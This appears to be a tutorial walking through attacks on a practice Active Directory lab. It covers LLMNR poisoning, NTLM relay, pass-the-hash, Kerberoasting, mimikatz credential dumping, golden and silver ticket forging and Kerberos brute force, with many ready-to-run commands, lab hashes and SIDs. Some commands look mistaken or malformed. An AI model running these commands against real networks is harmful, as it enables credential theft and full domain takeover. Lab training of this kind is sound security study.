Attacking a Vulnerable Active Directory Lab from Scratch to Practice AD Network Attacks

NTLM Poisoning:

Link-Local Multicast Name Resolution (LLMNR) is a windows component which acts as a host discovery/identification method in windows systems. LLMNR and NBT-NS (NetBIOS Name System) are used as an alternative for Domain Name System (DNS) and can identify other hosts in same local link or network. Poisoning attack targets users credentials as a means to further access corporate networks and data

Command: responder -I eth0 -dwv or responder -I eth0 -d -w -v

User1 trying to connect to the share "courseshare":

We got the hash of the user; we can go further and crack this hash using hashcat or john the ripper tool.

Cracking The NTLMv2 Hash using HASHCAT:

Copy the hash into a file:

Running hashcat to crack the hash:

Password successfully cracked:

Password: Password1

Getting Shell Using Psexec and Metasploit:

We can get the shell using psexec which is the part of python-impacket tool kit.

You can install it using apt or directly clone it from the GitHub repository.

Command1: git clone https://github.com/SecureAuthCorp/impacket.git

Command2: cd impacket/examples; ls

Gaining shell as user1 using psexec:

Command: psexec user1:Password1@192.168.215.137

Make sure to disable real-time protection:

Using Metasploit

You can run Metasploit by using this command:

Command: msfconsole

Searching for psexec here in Metasploit:

exploit/windows/smb/psexec is the one we want to use.

To use that we have to type "use exploit/windows/smb/psexec"

Now let's configure our exploit:

Type options too see what to set:

We can see that it requires us to set (RHOSTS, SMBUSER, SMBPASS, SMBDOMAIN,payload and Target mode):

Payload is windows/meterpreter/reverse_tcp which is fine

We can use any method shown in targets let's go with (2) native upload method:

Set domain name as well:

Then type run.

We have the Meterpreter shell now, we can do a lot of things with this:

NTLM Relay Attack (ntlmrelayx)

NTLM relay attacks allow attackers to steal hashed versions of user passwords and relay client credentials in an attempt to authenticate against servers. The attacker uses a machine-in-the-middle technique that allows attackers to sit between clients and servers, intercepting and relaying authenticated authentication requests to gain unauthorized access to network resources:

Step1: Edit config file of responder and disable HTTP and SMB

nano /usr/share/responder/Responder.conf

Turning SMB and HTTP to off and saved the file:

We are not listening on HTTP and SMB.

Step 2: Running responder to capture the ntlmv2 hashes

Instead of capturing hashes gathered with responder, we can instead relay those hashes to specific machine and potentially gain access.

Nltmrelayx is available in python-impacket toolkit.

Step 3: Running ntlmrelayx to relay the client hash to the target's ips:

User trying to connect to the share or any other computer:

We can see that the SMB Relay attack works perfectly, we got the hashes of the users:

First, we captured the hashes using responder, and then we relayed these client hashes using the ntlmrelayx tool.

We can go offline and crack these SAM file hashes using hashcat or john the ripper, or we can pass these hashes:

Pass the Hash / Pass the Password Attack

Pass the Password:

In this attack we will pass the password of the user that we have found in whole network to see what is accessible:

To begin with this attack, we need to install "crackmapexec", you can install it using apt package manager:

Command: sudo apt install crackmapexec

Run crackmapexec — help

After running the command we can see that user1 has access to the PC-david(at 137) and FINNISHER(at 136). (Pwn3d!) ones are compromised and are accessible.

Command: crackmapexec smb 192.168.215.1/24 -u user1 -p Password1 -d COURSE.com

Now we can get access to these machines using psexec or Metasploit meterpreter reverse shell.

Dumping Hashes with Secretsdump

Now we can get access to these machines using psexec or Metasploit meterpreter reverse shell, but that is very noisy, so we are going dump all the hashes using secretsdump tool:

Secretsdump tool is available in impacket:

Command: /opt/impacket/examples/secretsdump.py COURSE/user1:Password1@192.168.215.136

Dumping credentials of the machine at (136)

Dumping credentials of the machine at (137)

Pass The Hash attack:

A Pass-the-Hash (PtH) attack is a technique by which an attacker captures a hash of a password (as opposed to password characters) and then simply passes it on for authentication and possibly lateral access to other network systems. An attacker does not need to decrypt the hash to get a plain text password. PtH attacks use an authentication protocol because the password hash remains static for each session until the password is changed. Attackers usually obtain hashes by clearing the system's active memory and other methods.

From the secretsdump we got a lot of hashes which can use utilize pass them over the network to gain access to the systems/workstations:

We have the hashes lets remove the duplicates ones:

Removed All duplicates:

To pass the hash, we need a second hash after the colon (": ").

Use crackmapexec to pass the hash in the network using the below command:

Command: crackmapexec smb 192.168.215.1/24 -u Finn -H 64f12cddaa88057e06a81b54e73b949b — local-auth

Administrator account didn't work:

User account worked:

Kerberoasting

Kerberoasting is a post-exploitation attack technique that attempts to crack the password of a service account in Active Directory (AD). In this attack, an attacker masquerading as an account user with a Service Principal Name (SPN) requests a ticket that contains an encrypted password, or Kerberos.

To start with this attack, we need python-impacket sometimes the GitHub impacket version works and sometimes it does not, so to be on safe side you can download impacket using apt:

Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required. You need valid credentials inside the domain.

Command: /usr/bin/impacket-GetUserSPNs COURSE.com/user1:"Password1" -dc-ip 192.168.215.135 -request

We got the TGT

COMMAND: /usr/bin/impacket-GetUserSPNs COURSE.com/user1:Password1 -dc-ip 192.168.215.135 -request -outputfile hashes.kerberoast

Cracking the Hash using Hashcat:

Command: hashcat64.exe -m 13100 hash.txt rockyou.txt -O

Password Successfully Cracked:

Dumping Credentials Using Mimikatz:

mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

You can download it from GitHub

Running mimikatz we can see that we are in interactive mode:

First, we need to be in debug mode to extract credentials or hashes from the system to do that we need to use this command:

COMMAND: privilege::debug

Let's dump logon passwords:

Command: sekurlsa::logonpasswords

Another command:

Command: lsadump::sam /patch

Command: lsadump::lsa /patch

Golden Ticket:

A Golden Ticket attack is a type of attack in which an adversary gains control over an Active Directory Key Distribution Service Account (KRBTGT), and uses that account to forge valid Kerberos Ticket Granting Tickets (TGTs).

Mimikatz support the creation of a golden ticket and its meterpreter extension kiwi. Metasploit Framework has a post exploitation module which can automate the activity. The creation of a golden ticket requires the following information:

· Domain Name

Domain SID
Username to impersonate
krbtgt NTLM hash

Discovery of Golden Ticket Prerequisites

The Domain name and the domain SID can be obtained very easily by executing the whoami /user command or with the use of PsGetsid utility from PsTools.

The NTLM hash of the krbtgt account can be obtained via the following methods:

DCSync (Mimikatz)
LSA (Mimikatz)
Hashdump (Meterpreter)
NTDS.DIT
DCSync (Kiwi)

Mimikatz can retrieve the hash of the krbtgt account from the Local Security Authority (LSA) by executing Mimikatz on the domain controller.

Command1: privilege::debug

Command2: lsadump::lsa /inject /name:krbtgt

Here we have the sid and ntlm hash of the krbtgt user

We have everything for this attack to work:

Command: kerberos::golden /User:Administrator /domain:COURSE.com /sid:S-1–5–21–458445812–2215255040–1181797008–500 /krbtgt:5a3e18e675dc2fe4e04fe08fb969a12b /id:500 /ptt

Now that the golden ticket is created let's spawn command prompt:

Command: misc::cmd

Now that we spawned the cmd with golden ticket now we can connect to any pc. Since the ticket was generated with NTLM hash of the krbtgt account Kerberos will trust the ticket by default and therefore any user valid or invalid regardless of their privileges have unrestricted network access including access to the domain controller. This can be confirmed by listing the admin share on the domain controller.

Shell access to the domain controller is also possible with the use of the PsExec utility. Kerberos will grant access by using the ticket in the current session even though that the user is not valid.

AS-REP Roasting

AS-REP roasting is an offensive technique against Kerberos that allows password hashes to be retrieved for users that do not require pre-authentication. If the user has "Do not use Kerberos pre-authentication" enabled, then an attacker can recover a Kerberos AS-REP encrypted with the users RC4-HMAC'd password and he can attempt to crack this ticket offline.

GetNPUsers.py script will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos pre-authentication' set (UF_DONT_REQUIRE_PREAUTH). For those users with such configuration, so you can send it for cracking.

Command: /usr/bin/impacket-GetUserSPNs -dc-ip 192.168.215.135 COURSE.com/user1:Password1 -outputfile hashes-asp

Kerberos Brute Force Attack

we are going to perform brute force attack on Port 88 that is used for Kerberos service for enumerating valid username & password.

We can do perform this attack from the following tools

Metasploit
Nmap
Rubeus
Kerbrute

Metasploit

For Metasploit use this module:

use auxiliary/gather/kerberos_enumusers

NMAP

For nmap use this command:

Command: nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='COURSE.com',userdb=root/user.txt 192.168.215.135

Command: nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='COURSE.com',userdb=root/user.txt 192.168.215.135

Command: .\Rubeus.exe brute /passwords:password.txt /COURSE-DC.COURSE.com /outfile:course.com.txt

Kerbrute

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication. Download it from internet or by using pip (pip install kerbrute). Similarly, kerbrute try to check valid username & password against Kerberos with the help of the following command.

Over Pass the Hash

Using Rubeus

Over Pass the hash is a combination of passing the hash and passing the ticket, so it's called Over Pass the hash. Allows the creation of Kerberos tickets from NTLM hash or AES keys that allow access to the resource service that required Kerberos authentication.

Rc4 is ntlm hash of the user you can get it from mimikatz.

COMMAND: Rubeus.exe asktgt /domain:COURSE.com /user:user1 /rc4:64f12cddaa88057e06a81b54e73b949b /ptt

And once it will done you will be able to access the authorized resource as shown below.

Command: PsExec.exe -accepteula \FINNISHER.COURSE.com cmd

Silver Ticket

Silver tickets are forged service or TGS tickets for specific services which can be used to maintain persistence on a compromised system connected with an Active Directory enterprise domain. In the attack, an attacker can craft a valid TGS of service and use the NTLM hash associated can further craft tickets for other services. The article contains basic theory and demonstration associated with the silver ticket attacks.

With golden ticket attack, we used the hash of a krbtgt account whereas in the case of the silver ticket attack we will use the password hash of a service account. The password hash of the service account can be extracted by various methods, Kerberoasting being one. Since no intermediary TGT is required for the silver ticket attack to work, silver tickets can be forged without any communication with a Domain Controller and hence is stealthier than golden ticket attack.

Step 1) Compromise the password hash (NTLM hash) of a service account. User can use Mimikatz, Kerberoasting etc to do this.

Step 2) For a new ticket by specifying the following things:

Service hash

Service name

Target FQDN

Domain SID

STEP 3) Inject the newly created silver ticket into the terminal session to utilize and maintain persistence

Next, to forge a silver ticket we have to find SID of the domain which can easily be found using the command. Please note that the digits after the last hyphen (here, 500 is called the relative SID and we don't want that. Everything before that part is the domain SID that is relevant to us)

Now, to forge a silver ticket, Mimikatz's "golden" module can be used. We just insert our variables.

Here, I am using /ptt flag to insert the ticket directly in the current shell.

/id: It is any random ID that would be visible in the event logs upon inspection. Can be randomized.

/sid: Of the domain.

/domain: Valid FQDN of the target domain

/service: Service for which ticket is generated

/rc4: NTLM hash of the victim machine's computer account (found previously)

/user: Impersonated username

Command: kerberos::golden /sid:S-1–5–21–458445812–2215255040–1181797008 /domain:COURSE.com /target:COURSE-DC.COURSE.com /service:cifs /rc4:920ae267e048417fcfe00f49ecbd4b33 /user:Adminitrator /ptt /id:1339

As you can see above, a ticket has now been saved in the current session's memory. Now you would be able to access CIFS of the target machine.

Command: dir \FINNISHER\c$

Silver Ticket using Rubeus

We need to compromise NTLM hash of this account. We will use the Kerberoasting attack for this. we ran the following command in Rubeus.

/domain: target FQDN

/creduser: Any valid compromised username

/credpassword: Valid password of the compromised user

/nowrap: For the ticket blob to appear in single line in Rubeus

Command: rubeus.exe kerberoast /domain:COURSE.com /creduser:COURSE.com\user1 /credpassword:Password1 /nowrap

As you can see, Rubeus has automatically determined a valid Kerberoastable account and dumped its TGS. We will now extract the Password from this TGS offline using Hashcat

Now, let's convert this into NTLM hash (rc4_hmac) using Rubeus since our silver ticket requires a valid NTLM

Command: rubeus.exe hash /password:MYpassword123#

We also need to know the SID. This can be done using whoami /user or we can use mimikatz command

Finally, to forge a ticket for the current user in Rubeus we give the following command:

rubeus.exe silver /service:SQLSeervice /COURSE-DC.COURSE.com /rc4: F4AB68F27303BCB4024650D8FC5F973A /sid:S-1–5–21–458445812–2215255040–1181797008 /user:user1 /domain:COURSE.com /ptt

S-1–5–21–458445812–2215255040–1181797008–1106

We can now try to log into the server and run a basic command that displays the hostname.